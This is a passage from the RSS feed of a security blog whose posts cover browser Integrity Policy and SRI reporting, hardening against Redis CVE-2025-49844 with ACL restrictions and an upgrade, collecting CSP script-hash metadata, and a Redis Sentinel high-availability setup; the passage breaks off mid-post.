    integrity=&quot;sha256-/JqT3SQfawRcv/BIHPThkBvs0OEvtFFmqPF/lYI/Cxo=&quot;
    crossorigin=&quot;anonymous&quot;&gt;
    &lt;/script&gt;</code></pre><p></p><p>That integrity attribute means the browser can now download that file and check the cryptographic fingerprint of the file it downloaded matches the one that you were expecting! If the file is tampered with or modified in some way, the browser can reject it. I have a full blog post about SRI, <a href="https://scotthelme.co.uk/subresource-integrity/?ref=scotthelme.ghost.io" rel="noreferrer">Subresource Integrity: Securing CDN loaded assets</a>, that I wrote <strong><em>more than a decade ago</em></strong> back in 2015!</p><p></p><h4 id="the-rise-of-sri">The rise of SRI</h4><p>It&apos;s no surprise that SRI has become a very popular technology. It&apos;s free to use, it&apos;s an open web standard supported across all browsers, it&apos;s unbelievably simple, and it provides invaluable protection against some quite serious threats. Helping to drive that adoption, all of the major CDN providers have been supplying their script tags with SRI attributes for years, it could have stopped some pretty serious attacks in recent history [<a href="https://scotthelme.co.uk/protect-site-from-cryptojacking-csp-sri/?ref=scotthelme.ghost.io" rel="noreferrer">source</a>], and it&apos;s now even a recommended strategy in compliance standards like PCI DSS [<a href="https://scotthelme.co.uk/pci-dss-4-0-its-time-to-get-serious-on-magecart/?ref=scotthelme.ghost.io" rel="noreferrer">source</a>]. If you have existing assets that don&apos;t have SRI protection, and you&apos;d like to add it, you can use free tools like our <a href="https://report-uri.com/home/sri_hash?ref=scotthelme.ghost.io" rel="noreferrer">SRI Hash Generator</a> to take the URL of existing assets and create an SRI compatible script or style tag. But there lies a little bit of a problem. How do you know what assets that you have across your website that are eligible to use SRI, but aren&apos;t currently using it? </p><p></p><h4 id="integrity-policy-to-the-rescue">Integrity Policy to the rescue!</h4><p>We now have a way to effortlessly audit all of the dependencies across your application to ensure that they&apos;re using SRI. Integrity Policy is an open web standard, requires no code or agent to be deployed, and has no negative impact to speak of. It can be enabled with a single HTTP Response Header:</p><p></p><pre><code>Integrity-Policy-Report-Only: blocked-destinations=(script), endpoints=(default)</code></pre><p></p><p>As you can see here, I&apos;m using the <code>Report-Only</code> version of the header as it&apos;s best to start by gathering information before you consider any enforcing action. I&apos;m setting the policy to monitor JavaScript and I&apos;m instructing it to send telemetry to the <code>default</code> reporting endpoint. If you&apos;re not familiar with the <a href="https://scotthelme.co.uk/introducing-the-reporting-api-nel-other-major-changes-to-report-uri/?ref=scotthelme.ghost.io" rel="noreferrer">Reporting API</a> you can read my full blog post, but the summary is that you simply add a HTTP Response Header to let the browser know where to send the telemetry. This endpoint can also be used by a variety of different mechanisms so you can set it once and use it many times.</p><p></p><pre><code>Report-To: {&quot;group&quot;:&quot;default&quot;,&quot;max_age&quot;:31536000,&quot;endpoints&quot;:[{&quot;url&quot;:&quot;https://helios.report-uri.com/a/t/g&quot;}],&quot;include_subdomains&quot;:true}</code></pre><p></p><p>That&apos;s it! With both of those headers set, any time a browser loads one of your pages it will send an event to let you know if there is an asset being loaded without the use of SRI. As the Integrity Policy header was delivered in Report-Only mode, it will still allow the asset to load so there is no negative impact on your site. The idea here would be that you can now go and fix that problem by adding the integrity attribute to the asset, and then the events will no longer be sent.</p><p></p><h4 id="now-in-open-beta">Now in open beta!</h4><p>Integrity Policy is now available on our site and is free to access for all customers during the open beta period. After announcing another brand new feature only a couple of months ago, <a href="https://scotthelme.co.uk/capture-javascript-integrity-metadata-using-csp/?ref=scotthelme.ghost.io" rel="noreferrer">CSP Integrity</a>, these two features will form part of our new Integrity Suite offering that will become generally available in Q1 2026.</p><p>There&apos;s no doubt that these new capabilities are a fundamental improvement in client-side security, allowing for a level of native protection in the browser that is simply unmatched. Whilst the details we&apos;ve covered in the CSP Integrity blog post, and now in this Integrity Policy blog post, are exciting, we still have a <strong><em>lot</em></strong> more to announce in the coming months!</p><p></p>]]></content:encoded>
            </item>
            <item>
                <title><![CDATA[CVE-2025-49844 - The Redis CVSS 10.0 vulnerability and how we responded]]></title>
                <description><![CDATA[<p>We&apos;re very public and open about our infrastructure at <a href="https://report-uri.com/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI</a>, having written many blog posts about how we process billions of telemetry events every single week. As a result, it&apos;s no secret that we use Redis quite heavily across our infrastructure, and some have asked</p>]]></description>
                <link>https://scotthelme.ghost.io/cve-2025-49844-the-redis-cvss-10-0-vulnerability-and-how-we-responded/</link>
                <guid isPermaLink="false">68e7a6e405c3450001b53f41</guid>
                <category><![CDATA[Report URI]]></category>
                <category><![CDATA[Redis]]></category>
                <dc:creator><![CDATA[Scott Helme]]></dc:creator>
                <pubDate>Tue, 14 Oct 2025 08:11:47 GMT</pubDate>
                <media:content url="https://scotthelme.ghost.io/content/images/2025/10/9b5f57d6-6615-4e2a-b94c-4ee23a4cf06e.webp" medium="image"/>
                <content:encoded><![CDATA[<img src="https://scotthelme.ghost.io/content/images/2025/10/9b5f57d6-6615-4e2a-b94c-4ee23a4cf06e.webp" alt="CVE-2025-49844 - The Redis CVSS 10.0 vulnerability and how we responded"><p>We&apos;re very public and open about our infrastructure at <a href="https://report-uri.com/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI</a>, having written many blog posts about how we process billions of telemetry events every single week. As a result, it&apos;s no secret that we use Redis quite heavily across our infrastructure, and some have asked how the recent security vulnerability discovered in Redis has impacted us.</p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://scotthelme.ghost.io/content/images/2025/10/report-uri.png" class="kg-image" alt="CVE-2025-49844 - The Redis CVSS 10.0 vulnerability and how we responded" loading="lazy" width="946" height="525" srcset="https://scotthelme.ghost.io/content/images/size/w600/2025/10/report-uri.png 600w, https://scotthelme.ghost.io/content/images/2025/10/report-uri.png 946w" sizes="(min-width: 720px) 720px"></a></figure><h4 id="tldr">TLDR;</h4><p>The short answer is that <a href="https://nvd.nist.gov/vuln/detail/CVE-2025-49844?ref=scotthelme.ghost.io" rel="noreferrer">CVE-2025-49844</a> hasn&apos;t impacted us at all, largely because of our strict stance on security and existing measures that we already had in place. That said, any time something big happens in the industry that might have affected us, we take a look at how we might improve even further.</p><p></p><h4 id="immediate-response">Immediate response</h4><p>This advisory from Redis (<a href="https://github.com/redis/redis/security/advisories/GHSA-4789-qfc9-5f9q?ref=scotthelme.ghost.io" rel="noreferrer">GHSA-4789-qfc9-5f9q</a>) is the first visibility I had into the issue and the specified workaround was to use the ACL feature in Redis to restrict access to the commands that might be abused.</p><p></p><blockquote>An additional workaround to mitigate the problem without patching the redis-server executable is to prevent users from executing Lua scripts. This can be done using ACL to restrict EVAL and EVALSHA commands.</blockquote><p></p><p>This is an easy protection to implement and I know we don&apos;t use the <code>EVAL</code> or <code>EVALSHA</code> commands, so we could get this in place immediately and deploy it across the fleet via Ansible.</p><p></p><pre><code># Disable use of the EVAL and EVALSHA commands
    redis-cli ACL SETUSER {user} -EVAL -EVALSHA
    # Persist the change to config so it survives restarts
    redis-cli CONFIG REWRITE</code></pre><p></p><p>With that in place, we can take a little more time to investigate the issue and plan for the upgrade from Redis 8.2.1 to 8.2.2 to properly resolve the problem. </p><p></p><h4 id="upgrading-redis">Upgrading Redis</h4><p>As fate would have it, ~2 months ago I published this blog post: <a href="https://scotthelme.co.uk/were-going-high-availability-with-redis-sentinel/?ref=scotthelme.ghost.io" rel="noreferrer">We&apos;re going High Availability with Redis Sentinel!</a> In that blog post, I described our new High Availability setup using Redis Sentinel to give us failover capabilities between our new Primary and Replica caches. I also explained how one of the major benefits of the upgrade would be that updating our Redis server binary becomes a whole lot easier, and here we are!</p><p></p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://scotthelme.ghost.io/content/images/2025/10/image.png" class="kg-image" alt="CVE-2025-49844 - The Redis CVSS 10.0 vulnerability and how we responded" loading="lazy" width="562" height="441"><figcaption><span style="white-space: pre-wrap;">Our Redis Sentinels fronting our Primary and Replica caches</span></figcaption></figure><p></p><p>With our new HA setup, it&apos;s simply a case of updating and upgrading the Replica cache, promoting it to Primary, and then updating what previously was the Primary cache but is now a Replica. Done!</p><pre><code>redis-cli info
    # Server
    redis_version:8.2.2
    redis_git_sha1:00000000
    redis_git_dirty:1
    redis_build_id:8ade872ac64c6931
    redis_mode:standalone
    ...</code></pre><p></p><h4 id="existing-protections-and-investigations">Existing protections and investigations</h4><p>Our Redis caches reside on a private network and are not at any time accessible from the public Internet. Further to that, we have firewall rules in place to only allow known IP addresses on our private network to have access to the Redis caches. Just to go the extra distance, we then only allow our application servers with the appropriate roles to have access to the appropriate Redis caches that they require to fulfil that role! Our network access is already locked down as tight as we can get it and there is no anomalous network activity in our logs.</p><p>Looking at the Redis caches themselves, we can use <code>commandstats</code> to get per-command counters on how many times each command has been called against the cache since the server started. To reset the counters it would require access to restart <code>redis-server</code> or call <code>CONFIG RESETSTAT</code>, and the command counters all look aligned with typical volumes before the update. Running the command, we can see no indication of the counts being reset, and there are no instances of <code>EVAL</code> or <code>EVALSHA</code> being called on the servers.</p><p></p><h4 id="further-hardening">Further Hardening</h4><p>With some quick research looking at other powerful commands, I could see that we currently don&apos;t require the use of the <code>SCRIPT</code> or <code>FUNCTION</code> commands, so they presented themselves as another good opportunity to further reduce the commands available. </p><p></p><pre><code># Disable use of the SCRIPT and FUNCTION commands
    redis-cli ACL SETUSER {user} -SCRIPT -FUNCTION
    # Persist the change to config so it survives restarts
    redis-cli CONFIG REWRITE</code></pre><p></p><p>There are some other commands that I want to restrict, but they require further investigation to ensure there are no adverse effects. To wrap things up and make sure that all of these restrictions are working as intended, we can try to run some of the commands that should now be blocked.</p><p></p><pre><code>redis-cli EVAL &quot;return 1&quot; 0
    (error) NOPERM User default has no permissions to run the &apos;eval&apos; command
    redis-cli ACL LOG 1
    1)  1) &quot;count&quot;
        2) (integer) 1
        3) &quot;reason&quot;
        4) &quot;command&quot;
        5) &quot;context&quot;
        6) &quot;toplevel&quot;
        7) &quot;object&quot;
        8) &quot;eval&quot;
        9) &quot;username&quot;
       10) &quot;default&quot;
       11) &quot;age-seconds&quot;
       12) &quot;54.578&quot;
       13) &quot;client-info&quot;
       14) &quot;id=49 addr=*snip*:59092 laddr=*snip*:6379 fd=32 name= age=0 idle=0 flags=N db=0 sub=0 psub=0 ssub=0 multi=-1 watch=0 qbuf=35 qbuf-free=20439 argv-mem=13 multi-mem=0 rbs=16384 rbp=16384 obl=0 oll=0 omem=0 tot-mem=37797 events=r cmd=eval user=default redir=-1 resp=2 lib-name= lib-ver= io-thread=0 tot-net-in=35 tot-net-out=0 tot-cmds=0&quot;
       15) &quot;entry-id&quot;
       16) (integer) 0
       17) &quot;timestamp-created&quot;
       18) (integer) 1760018943783
       19) &quot;timestamp-last-updated&quot;
       20) (integer) 1760018943783</code></pre><p></p><p>The <code>EVAL</code> command was blocked as expected and the <code>ACL LOG</code> now has an entry to show that the block happened, which makes it easier to track the attempted usage of blocked commands in the future too.</p><p>With the fleet now updated to Redis 8.2.2, the additional protections in place, and no indication that we (or anyone else) were affected, I&apos;m happy to consider this resolved!</p><p></p><h4 id="thats-a-lot-of-data">That&apos;s a lot of data!</h4><p>If you&apos;re curious just how much data we process, you can see my recent blog post <a href="https://scotthelme.co.uk/trillion-with-a-t-surpassing-2-trillion-events-processed/?ref=scotthelme.ghost.io" rel="noreferrer">Trillion with a T: Surpassing 2 Trillion Events Processed!&#x1F680;&#x1F680;</a> which covers the details. That blog post also announced the launch of our public dashboard that provides a live insight into our telemetry volumes, along with heaps of other interesting data, so check that out here too: <a href="https://dash.report-uri.com/?ref=scotthelme.ghost.io" rel="noreferrer">Public Dashboard</a></p><p></p>]]></content:encoded>
            </item>
            <item>
                <title><![CDATA[Capture JavaScript Integrity Metadata using CSP!]]></title>
                <description><![CDATA[<p>Today we&apos;re announcing the open beta of a brand new and incredibly powerful feature on the Report URI platform, CSP Integrity! Having the ability to collect integrity metadata for scripts running on your site opens up a whole new realm of possibilities, and it couldn&apos;t be</p>]]></description>
                <link>https://scotthelme.ghost.io/capture-javascript-integrity-metadata-using-csp/</link>
                <guid isPermaLink="false">68bfe86ad26c1a00012b4a80</guid>
                <category><![CDATA[Report URI]]></category>
                <category><![CDATA[CSP]]></category>
                <category><![CDATA[integrity]]></category>
                <category><![CDATA[javascript]]></category>
                <dc:creator><![CDATA[Scott Helme]]></dc:creator>
                <pubDate>Mon, 29 Sep 2025 10:51:09 GMT</pubDate>
                <media:content url="https://scotthelme.ghost.io/content/images/2025/09/csp-integrity-1.webp" medium="image"/>
                <content:encoded><![CDATA[<img src="https://scotthelme.ghost.io/content/images/2025/09/csp-integrity-1.webp" alt="Capture JavaScript Integrity Metadata using CSP!"><p>Today we&apos;re announcing the open beta of a brand new and incredibly powerful feature on the Report URI platform, CSP Integrity! Having the ability to collect integrity metadata for scripts running on your site opens up a whole new realm of possibilities, and it couldn&apos;t be simpler to get started. If you have a few seconds spare, you have enough time to get started now!</p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://scotthelme.ghost.io/content/images/2025/09/report-uri.png" class="kg-image" alt="Capture JavaScript Integrity Metadata using CSP!" loading="lazy" width="946" height="525" srcset="https://scotthelme.ghost.io/content/images/size/w600/2025/09/report-uri.png 600w, https://scotthelme.ghost.io/content/images/2025/09/report-uri.png 946w" sizes="(min-width: 720px) 720px"></a></figure><p></p><h4 id="a-revolution-for-content-security-policy">A revolution for Content Security Policy</h4><p>Content Security Policy (CSP) is an incredibly powerful mechanism, allowing you to leverage control over a wide range of resources on your site. You can control where resources are loaded from or where data is sent to, and you can be alerted when things don&apos;t go according to plan. But regular readers will already know all of the existing benefits of CSP, so today, let&apos;s focus on the latest addition to the CSP arsenal; the collection of integrity metadata.</p><p>It&apos;s so easy to get started that we can boil it down to two simple steps. </p><ol><li>Ask the browser to send integrity metadata for scripts.</li><li>Tell it where to send the integrity metadata for scripts.</li></ol><p></p><p>That&apos;s really all there is to it, so let&apos;s break it down. If you already have a CSP in place, you will need to add the <code>&apos;report-sha256&apos;</code> keyword to your <code>script-src</code> directive, and if you don&apos;t have a CSP in place, you can add one with just this directive. This is what your CSP <code>script-src</code> might look like after you add the new keyword, which I&apos;ve highlighted in bold:</p>
    <!--kg-card-begin: html-->
    <pre>script-src &apos;self&apos; some-cdn.com <b>&apos;report-sha256&apos;</b>;</pre>
    <!--kg-card-end: html-->
    <p></p><p>Now that you&apos;ve added the new keyword to your policy, the browser will send integrity metadata for scripts that load on your site, but you will need to tell the browser where to send it, and for that, we will use the <a href="https://scotthelme.co.uk/introducing-the-reporting-api-nel-other-major-changes-to-report-uri/?ref=scotthelme.ghost.io" rel="noreferrer">Reporting API</a>. All you have to do to enable this is add a new response header:</p><pre><code>Report-To: {&quot;group&quot;:&quot;default&quot;,&quot;max_age&quot;:31536000,&quot;endpoints&quot;:[{&quot;url&quot;:&quot;https://scotthelme.report-uri.com/a/d/g&quot;}],&quot;include_subdomains&quot;:true}</code></pre><p></p><p>This defines a new group called <code>default</code> and sets the destination for telemetry data to <code>https://scotthelme.report-uri.com/a/d/g</code> . Please note that you should copy this value from the Setup page in <em>your</em> Report URI account as it will be unique to you and the one shown here is my unique URL for demonstration purposes. </p><p>With that, we can now link the two together by adding the <code>report-to</code> directive to your CSP:</p>
    <!--kg-card-begin: html-->
    <pre>script-src &apos;self&apos; some-cdn.com &apos;report-sha256&apos;; <b>report-to default;</b></pre>
    <!--kg-card-end: html-->
    <p></p><p>All you have to do now is sit back and wait for the telemetry to start rolling in!</p><p></p><h4 id="surfacing-this-in-the-ui">Surfacing this in the UI</h4><p>Processed in the same way that any telemetry sent to us would be, this data will only take a few minutes to start showing up in your dashboard. I&apos;ve used our &apos;aggregate&apos; search filter here to grab a list of unique dependencies that have been loaded on our site, and we can start to see the value we can extract from this data.</p><p></p><figure class="kg-card kg-image-card"><img src="https://scotthelme.ghost.io/content/images/2025/09/image.png" class="kg-image" alt="Capture JavaScript Integrity Metadata using CSP!" loading="lazy" width="1531" height="870" srcset="https://scotthelme.ghost.io/content/images/size/w600/2025/09/image.png 600w, https://scotthelme.ghost.io/content/images/size/w1000/2025/09/image.png 1000w, https://scotthelme.ghost.io/content/images/2025/09/image.png 1531w" sizes="(min-width: 720px) 720px"></figure><p></p><p>If we focus on just one of these entries, we can see that a Bootstrap JS file has been loaded.</p><p></p><figure class="kg-card kg-image-card"><img src="https://scotthelme.ghost.io/content/images/2025/09/image-1.png" class="kg-image" alt="Capture JavaScript Integrity Metadata using CSP!" loading="lazy" width="525" height="97"></figure><p></p><p>The browser has reported that the hash of the asset is <code>sha256-wMCQIK229gKxbUg3QWa544ypI4OoFlC2qQl8Q8xD8x8=</code>, which is helpful in various different ways. If we were loading this file from an external location for example, we could now track the hash over time to see if the file we are being served has changed. We can also use the hash to try and identify if the file we were served is the file we were expecting.</p><p></p><h4 id="identifying-verified-javascript-files">Identifying verified JavaScript files</h4><p>As you can see from the screenshot above, we have identified that the particular file loaded was a verified file from the &apos;bootstrap&apos; package, hence the green marker with the library name. Using the hash as a fingerprint to uniquely identify a file is a common approach, but you need to have a reliable and <em>verified</em> library of fingerprints to reference against in order to lookup the fingerprint and know for sure. This is something that we&apos;ve been working hard to build and so far we have verified fingerprints for <strong><em>4,268,847</em></strong> unique JS files from common packages, libraries and dependencies across the Web! As we have the fingerprints for each of those files stored in their sha256, sha 384 and sha512 variants, it means we have a running total of <strong><em>12,806,541</em></strong> fingerprints in our database so far! This is a huge amount of valuable information to draw from, and it&apos;s something that&apos;s available right there in the dashboard.</p><p>That&apos;s not all, though, there&apos;s something even better to add!</p><p></p><h4 id="identifying-javascript-vulnerabilities">Identifying JavaScript vulnerabilities</h4><p>You may notice that the marker for that file is green, and that means that there are no known issues reported with that particular version of that file/library. If you keep scrolling through your data, you might, if you&apos;re unlucky, come across a file that has a red marker instead...</p><p></p><figure class="kg-card kg-image-card"><img src="https://scotthelme.ghost.io/content/images/2025/09/image-2.png" class="kg-image" alt="Capture JavaScript Integrity Metadata using CSP!" loading="lazy" width="525" height="95"></figure><p></p><p>This particular file is from a version of the Bootstrap library that has a known security vulnerability, and we can now surface that information directly to you in our UI. If you click the warning, it will open a small dialog box to give you some quick information on what the minimum version of the library you need to upgrade to is, and it will even link out to the disclosure notice for the vulnerability.</p><p></p><figure class="kg-card kg-image-card"><img src="https://scotthelme.ghost.io/content/images/2025/09/image-3.png" class="kg-image" alt="Capture JavaScript Integrity Metadata using CSP!" loading="lazy" width="527" height="223"></figure><p></p><p>This will be an awesome feature to have, allowing you to keep a close eye on exactly how problematic your JS dependencies are, and potentially avoiding costly issues from using dependencies with known vulnerabilities. </p><p></p><h4 id="looking-at-the-new-telemetry-payload">Looking at the new telemetry payload</h4><p>Defined in the specification as a <code>csp-hash</code> report, it has a very familiar JSON payload, similar to your typical CSP violation report. Here&apos;s a sample of one of our payloads:</p><p></p><pre><code>{
        &quot;csp-hash&quot;: {
            &quot;destination&quot;: &quot;script&quot;,
            &quot;documentURL&quot;: &quot;https://report-uri.com/login/&quot;,
            &quot;hash&quot;: &quot;sha256-wMCQIK229gKxbUg3QWa544ypI4OoFlC2qQl8Q8xD8x8=&quot;,
            &quot;subresourceURL&quot;: &quot;https://cdn.report-uri.com/libs/refresh/bootstrap/bootstrap.bundle.min.js&quot;,
            &quot;type&quot;: &quot;subresource&quot;
        }
    }</code></pre><p></p><p>Breaking the fields inside this payload down, it&apos;s fairly self-explanatory:</p><p><code>destination</code> - Only <code>script</code> is supported for now, with new destinations being planned for future updates.</p><p><code>documentURL</code> - This is the URL the browser was visiting when the reported resource was observed.</p><p><code>hash</code> - This is the hash of the resource, which in this case is the sha256 hash as that is what we requested.</p><p><code>subresourceURL</code> - This is the URL of the script that was requested and the hash is of the content of this file.</p><p><code>type</code> - Only <code>subresource</code> is supported for now, with the ability to expand to new types in the future.</p><p></p><p>Now, with the <code>&apos;report-sha256&apos;</code> keyword in place, one of these payloads will be sent for each script that loads on your page!</p><p></p><h4 id="quick-tips">Quick Tips</h4><p>I&apos;m sure many people will have some questions that spring to mind after reading this, so let me address some of the most common ones that I encountered during our closed beta testing. </p><p></p><h6 id="do-i-need-to-build-a-full-csp">Do I need to build a full CSP?</h6><p>No! You don&apos;t need any CSP at all, you can start monitoring scripts and collecting integrity metadata right away:</p><pre><code>Content-Security-Policy-Report-Only: script-src &apos;report-sha256&apos;; report-to default</code></pre><p></p><h6 id="is-integrity-metadata-sent-for-scripts-that-load-or-scripts-that-are-blocked">Is integrity metadata sent for scripts that load, or scripts that are blocked?</h6><p>Integrity metadata is only sent for scripts that load on your page. If a script is blocked, it is not requested, so there is no file to provide integrity metadata for.</p><p></p><h6 id="will-this-use-a-lot-of-my-event-quota">Will this use a lot of my event quota?</h6><p>No, we&apos;re going to downsample CSP Integrity reports for all customers at a rate of 1/10, so whilst it will of course use some event quota, it should not use excessive amounts.</p><p></p><h6 id="what-happens-after-the-open-beta">What happens after the open beta?</h6><p>CSP Integrity will become an add-on feature for customers on our Ultimate plan and customers on an Enterprise plan in 2026.</p><p></p><h4 id="get-started-now">Get started now</h4><p>I will be announcing a webinar to go through the new CSP Integrity feature so keep an eye out for that, but everything you need to get started is right here. It really is as simple as adding those two new values to your CSP and just waiting for the valuable data to start rolling in!</p><p></p>]]></content:encoded>
            </item>
            <item>
                <title><![CDATA[We're going High Availability with Redis Sentinel!]]></title>
                <description><![CDATA[<p>We&apos;ve just deployed some mega updates to our infrastructure at Report URI that will give us much more resilience in the future, allow us to apply updates to our servers even faster, and will probably go totally unnoticed from the outside!</p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://scotthelme.ghost.io/content/images/2025/08/report-uri.png" class="kg-image" alt loading="lazy" width="946" height="525" srcset="https://scotthelme.ghost.io/content/images/size/w600/2025/08/report-uri.png 600w, https://scotthelme.ghost.io/content/images/2025/08/report-uri.png 946w" sizes="(min-width: 720px) 720px"></a></figure><h4 id="our-previous-redis-setup">Our previous Redis setup</h4><p>I&apos;ve</p>]]></description>
                <link>https://scotthelme.ghost.io/were-going-high-availability-with-redis-sentinel/</link>
                <guid isPermaLink="false">68976e9629f3b600011277d4</guid>
                <category><![CDATA[Report URI]]></category>
                <category><![CDATA[Redis]]></category>
                <category><![CDATA[Sentinel]]></category>
                <category><![CDATA[High Availability]]></category>
                <dc:creator><![CDATA[Scott Helme]]></dc:creator>
                <pubDate>Mon, 18 Aug 2025 12:46:41 GMT</pubDate>
                <media:content url="https://scotthelme.ghost.io/content/images/2025/08/redis-sentinel-upgrade.webp" medium="image"/>
                <content:encoded><![CDATA[<img src="https://scotthelme.ghost.io/content/images/2025/08/redis-sentinel-upgrade.webp" alt="We&apos;re going High Availability with Redis Sentinel!"><p>We&apos;ve just deployed some mega updates to our infrastructure at Report URI that will give us much more resilience in the future, allow us to apply updates to our servers even faster, and will probably go totally unnoticed from the outside!</p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://scotthelme.ghost.io/content/images/2025/08/report-uri.png" class="kg-image" alt="We&apos;re going High Availability with Redis Sentinel!" loading="lazy" width="946" height="525" srcset="https://scotthelme.ghost.io/content/images/size/w600/2025/08/report-uri.png 600w, https://scotthelme.ghost.io/content/images/2025/08/report-uri.png 946w" sizes="(min-width: 720px) 720px"></a></figure><h4 id="our-previous-redis-setup">Our previous Redis setup</h4><p>I&apos;ve talked about our infrastructure openly before, but I will give a brief overview of what we were working with and why I wanted to upgrade. We were using Redis in two places, one instance for our application session store, which is fairly self explanatory, and one instance for our inbound telemetry cache. Both of these isolated instances of Redis have been upgraded in the same way, but I will focus on the telemetry cache as this is the one that faces a significant amount of load! Here&apos;s how it works.</p><p>Visitors head to the websites of our customers, and they may or may not send some telemetry to us depending on whether there are any security, performance or other concerns to report to us about the website they were visiting. These telemetry events are received and are placed directly in to Redis because there are simply too many for us to process them in real-time. Our servers, that we refer to as &apos;consumers&apos;, will then feed telemetry from this Redis cache and process it, applying normalisation, filtering, checking it against our Threat Intelligence, and doing a whole heap of other work, before placing it in persistent storage, at which point it becomes available to customers in their dashboards. This &apos;ingestion pipeline&apos; can take anywhere from 20-30 seconds during quiet periods, and spike up to 6-7 minutes during our busiest periods, but it is reliable and consistent. </p><p></p><figure class="kg-card kg-image-card"><img src="https://scotthelme.ghost.io/content/images/2025/08/image-10.png" class="kg-image" alt="We&apos;re going High Availability with Redis Sentinel!" loading="lazy" width="883" height="187" srcset="https://scotthelme.ghost.io/content/images/size/w600/2025/08/image-10.png 600w, https://scotthelme.ghost.io/content/images/2025/08/image-10.png 883w" sizes="(min-width: 720px) 720px"></figure><p></p><p>If you&apos;d like to see some real data about the volumes of telemetry we process, what our peaks and troughs look like, and a whole bunch of other interesting metrics, you should absolutely check out our <a href="https://dash.report-uri.com/home/?ref=scotthelme.ghost.io" rel="noreferrer">Public Dashboard</a>. That has everything from telemetry volumes, client types, regional traffic patterns, a global heat map and even a Pew Pew Map!!</p><p></p><h4 id="a-single-point-of-failure">A single point of failure</h4><p>Both of our caches, the session cache and the telemetry cache, were single points of failure, and it&apos;s never a good idea to have a single point of failure. We&apos;ve never had an issue with either of them, but it&apos;s been something I&apos;ve wanted to address for a while now. Not only that, but it makes updating and upgrading them much harder work too. The typical process for our upgrades has been to bring up a new server, fully patch and update it and then deploy Redis along with our configuration, with the final step being a data migration consideration. Using Ansible to do the heavy lifting makes this process easier, but not easy. The session cache of course needs a full data migration and then the application servers can flip from the old one to the new one, which isn&apos;t so bad because the data is relatively small. The telemetry cache is a little trickier because it involves pointing the inbound telemetry to the new cache, while allowing the consumers to drain down the old telemetry cache before moving them over too. As I say, it&apos;s not impossible, but it could be a lot better, and we still have that concern of them both being a single point of failure. </p><p></p><h4 id="redis-sentinel-to-the-rescue">Redis Sentinel to the rescue!</h4><p>You can read the official docs on <a href="https://redis.io/docs/latest/operate/oss_and_stack/management/sentinel/?ref=scotthelme.ghost.io" rel="noreferrer">Redis Sentinel</a> but I&apos;m going to cover everything you need to know here if you&apos;d like to keep reading. Redis Sentinel provides a few fundamental features that we&apos;re now leveraging to provide a much more resilient service. </p><p><strong>Monitoring:</strong> Redis Sentinels can monitor a pool of Redis caches to determine if they are healthy and available. </p><p><strong>Failover:</strong> Redis Sentinels will promote and demote Redis caches between the roles of Primary and Replica based on their health. </p><p><strong>Configuration:</strong> Clients connect to a Redis Sentinel to get the ip/port for the current Primary cache.</p><p></p><p>Leveraging these features, we&apos;ve now created a much more robust solution that looks like this:</p><p></p><figure class="kg-card kg-image-card"><img src="https://scotthelme.ghost.io/content/images/2025/08/image-8.png" class="kg-image" alt="We&apos;re going High Availability with Redis Sentinel!" loading="lazy" width="1317" height="1034" srcset="https://scotthelme.ghost.io/content/images/size/w600/2025/08/image-8.png 600w, https://scotthelme.ghost.io/content/images/size/w1000/2025/08/image-8.png 1000w, https://scotthelme.ghost.io/content/images/2025/08/image-8.png 1317w" sizes="(min-width: 720px) 720px"></figure><p></p><p>To give an overview of what&apos;s happening here, I will break it down in to the following:</p><p><strong>Redis Caches:</strong> These have an assigned role of either Primary or Replica, and for the purposes of our diagram, the red one will be the Primary and the yellow one will be the Replica. If you have more than two caches in your pool, there would be more Replicas. The role of the Replica is to keep itself fully aligned with the Primary so it can become the Primary at any point if needed. The role of the Primary is to serve the clients as their Redis cache and is where our inbound telemetry is being sent.</p><p><strong>Redis Sentinels:</strong> These severs do a few things, so let&apos;s break it down.</p><ol><li>They&apos;re providing ip/port information to clients about which cache is the current Primary. Clients don&apos;t know about the caches or how many there are, nor do they know which one is the Primary, so they first ask a Sentinel which cache is the current Primary and then connect to that one. Note that no cache activity passes through the Sentinels, all they do is provide the information to the client on where to connect, and the client will then connect directly to the cache.</li><li>They&apos;re monitoring the health of the Primary and Replica/s to detect any issues. If a problem is detected with the Primary, it is put to a vote to see if a Replica should be promoted to Primary. Our configuration requires a quorum of 3/4 votes to successfully promote a Replica to Primary, and demote the Primary to a Replica when it returns. Once that happens, the Sentinels will reconfigure all caches to follow the new Primary, and start providing the new Primary ip/port information to clients.</li><li>They&apos;re always monitoring for the addition of new caches or Sentinels. There is no configuration for how many Sentinels or caches there are, they are discovered by talking to the current Primary and getting information on how many Replicas and Sentinels are connected to that Primary.</li></ol><p></p><h4 id="failing-over">Failing over</h4><p>Of course, all of this work is designed to give us a much more resilient solution, and it will also make our work for installing updates and upgrades much easier too. There are two scenarios when the Sentinels can failover from a Primary to a Replica, and they are when the Sentinels detect an issue with the Primary and vote to demote it, or when we manually trigger a failover.</p><p>When we&apos;re getting ready to do some upgrades, the first step will be to take the Replica down so the Sentinels notice and remove it as an option for a current failover. We can then update/upgrade that server and bring it back online as a viable Replica. Now, when we want to upgrade the cache that is the current Primary, we trigger the failover and the Sentinels will take care of it, meaning our infrastructure now looks like this with the new roles.</p><p></p><figure class="kg-card kg-image-card"><img src="https://scotthelme.ghost.io/content/images/2025/08/image-9.png" class="kg-image" alt="We&apos;re going High Availability with Redis Sentinel!" loading="lazy" width="1308" height="1032" srcset="https://scotthelme.ghost.io/content/images/size/w600/2025/08/image-9.png 600w, https://scotthelme.ghost.io/content/images/size/w1000/2025/08/image-9.png 1000w, https://scotthelme.ghost.io/content/images/2025/08/image-9.png 1308w" sizes="(min-width: 720px) 720px"></figure><p></p><p>If there is a problem with the update/upgrade, we can immediately fail back, giving us a nice recovery option, and if everything goes well, we can now follow the same process of taking the Replica down for updates/upgrades. Once that&apos;s done, both servers are fully updated with considerably less work than before!</p><p></p><h4 id="other-considerations">Other considerations</h4><p>Whilst working through this project there were a few little details that I picked up along the way that might be useful to share, and also some that are probably a bit more specific to our deployment. </p><ul><li>Our Redis Sentinels are running on dedicated servers, but I saw many recommendations to co-locate a Redis Sentinel service 